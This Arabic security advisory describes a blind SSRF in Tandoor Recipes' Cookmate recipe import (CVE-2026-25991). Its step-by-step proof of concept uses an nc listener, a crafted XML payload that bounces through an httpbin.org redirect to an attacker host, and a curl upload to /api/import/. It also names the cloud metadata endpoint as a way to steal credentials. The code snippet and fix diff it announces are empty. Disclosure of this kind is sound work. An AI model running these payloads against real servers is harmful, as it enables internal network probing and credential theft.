CVE-2026-25991: SSRF أعمى مع وصول إلى الشبكة الداخلية عبر استيراد الوصفات

الملخص

اكتشفت ثغرة تزوير الطلبات من جانب الخادم الأعمى (Blind SSRF) في ميزة استيراد الوصفات Cookmate في تاندور ريسيبس. يفشل التطبيق في التحقق من عنوان URL الوجهة بعد اتباع عمليات إعادة التوجيه HTTP، مما يسمح لأي مستخدم مُصادق (بما في ذلك المستخدمين العاديين دون صلاحيات إدارية) بإجبار الخادم على الاتصال بموارد داخلية أو خارجية عشوائية.

يمكن استغلال هذه الثغرة لفحص منافذ الشبكة الداخلية، أو الوصول إلى بيانات تعريف مثيلات السحابة (مثل خدمة بيانات تعريف AWS/GCP)، أو كشف عنوان IP الحقيقي للخادم.

التفاصيل

تقع الثغرة في cookbook/integration/cookmate.py، داخل فئة تكامل Cookmate.

1. المنطق الأولي: عند معالجة ملف XML مستورد، يستخرج التطبيق حقل imageurl.
2. الفحص الأولي: يتم التحقق من عنوان URL باستخدام الدالة المساعدة validate_import_url (في cookbook/helper/HelperFunctions.py)، والتي تمنع بشكل صحيح نطاقات عناوين IP الخاصة (مثل 127.0.0.1، 10.0.0.0/8).
3. الالتفاف (الكود الضعيف): ومع ذلك، مباشرة بعد التحقق، يستخدم الكود requests.get(url) لتنزيل الصورة. افتراضيًا، تتبع مكتبة requests عمليات إعادة التوجيه (allow_redirects=True). الدالة validate_import_url تتحقق فقط من عنوان URL الأولي ولكنها تفشل في التحقق من الوجهة النهائية بعد حدوث إعادة التوجيه.

مقتطف الكود الضعيف (cookbook/integration/cookmate.py:73):

يمكن للمهاجم استخدام خدمة خارجية (مثل httpbin.org) لإعادة توجيه الطلب إلى عنوان داخلي مقيد (مثل http://127.0.0.1:80/ أو http://169.254.169.254/).

الأهم من ذلك، أن AppImportView (cookbook/views/api.py) يسمح صراحةً بصلاحيات CustomIsUser، مما يعني أن أي مستخدم مسجل يمكنه تشغيل هذه الثغرة. لا تتطلب أي صلاحيات إدارية خاصة.

PoC (إثبات المفهوم)

المتطلبات الأساسية:

1. حساب مستخدم عادي (غير مسؤول) على مثيل تاندور.
2. بايثون مثبت محليًا (أو أي أداة استماع HTTP مثل nc).

خطوات إعادة الإنتاج:

1. إعداد مستمع (جهاز المهاجم): افتح طرفية وابدأ nc للاستماع للاتصالات الواردة. هذا يحاكي خدمة داخلية أو خادمًا يتحكم فيه المهاجم.

   root@kitploit:~

   nc -lvnp 9999
   

2. إنشاء حمولة XML خبيثة: أنشئ ملفًا باسم payload.xml. استبدل <YOUR_IP> بعنوان IP العام الخاص بك (أو عنوان IP قابل للوصول). تستخدم هذه الحمولة httpbin.org لتجاوز فحص عنوان IP الخاص الأولي وإعادة التوجيه إلى المستمع الخاص بك.

   root@kitploit:~

   <recipes>
     <recipe>
       <title>SSRF_PoC</title>
       <!-- إعادة التوجيه إلى خدمة داخلية أو مستمع المهاجم -->
       <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
     </recipe>
   </recipes>
   

3. إنشاء أرشيف ZIP: يتطلب تاندور أن يكون ملف XML داخل ملف ZIP.

   root@kitploit:~

   zip payload.zip payload.xml
   

4. تنفيذ الاستغلال (عبر API): سجّل الدخول كمستخدم عادي (وليس مسؤولًا) للحصول على ملف تعريف الجلسة ورمز CSRF. ثم أرسل طلب POST إلى /api/import/: (استبدل <TARGET_URL>، <SESSION_ID>، <CSRF_TOKEN> بالقيم الفعلية)

   root@kitploit:~

   curl -X POST 'http://<TARGET_URL>/api/import/' \
     -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
     -H 'X-CSRFToken: <CSRF_TOKEN>' \
     -F 'type=COOKMATE' \
     -F '[email protected]' \
     -F 'duplicates=true'
   

5. تحقق من الاتصال: تحقق من طرفية المستمع (nc). سترى طلب GET HTTP واردًا من خادم تاندور. هذا يؤكد أن الخادم، بالنيابة عن مستخدم عادي، قد اتصل بموارد خارجية/داخلية عشوائية.
   root@kitploit:~

   GET /secret.txt HTTP/1.1
   Host: <YOUR_IP>:9999
   User-Agent: python-requests/2.x.x
   ...
   

التأثير

• فحص الشبكة الداخلية: يمكن للمهاجمين فحص المنافذ الداخلية لاكتشاف الخدمات قيد التشغيل.
• تسريب بيانات تعريف السحابة: إذا تم النشر على AWS/GCP/Azure، يمكن للمهاجمين الوصول إلى بيانات تعريف المثيل (مثل http://169.254.169.254/latest/meta-data/) لسرقة بيانات اعتماد IAM، مما يؤدي إلى اختراق كامل للبنية التحتية.
• الخطورة: عالية (CVSS ~8.0) لأنها تتطلب صلاحيات منخفضة (مستخدم عادي) ويمكن أن تؤدي إلى تأثير كبير (الوصول إلى البيانات الوصفية/الفحص الداخلي).

المعالجة

قم بتعطيل تتبع إعادة التوجيه التلقائي في استدعاء requests.get أو نفذ تحققًا صارمًا من عناوين URL الخاصة بإعادة التوجيه.

الفرق (الإصلاح المقترح):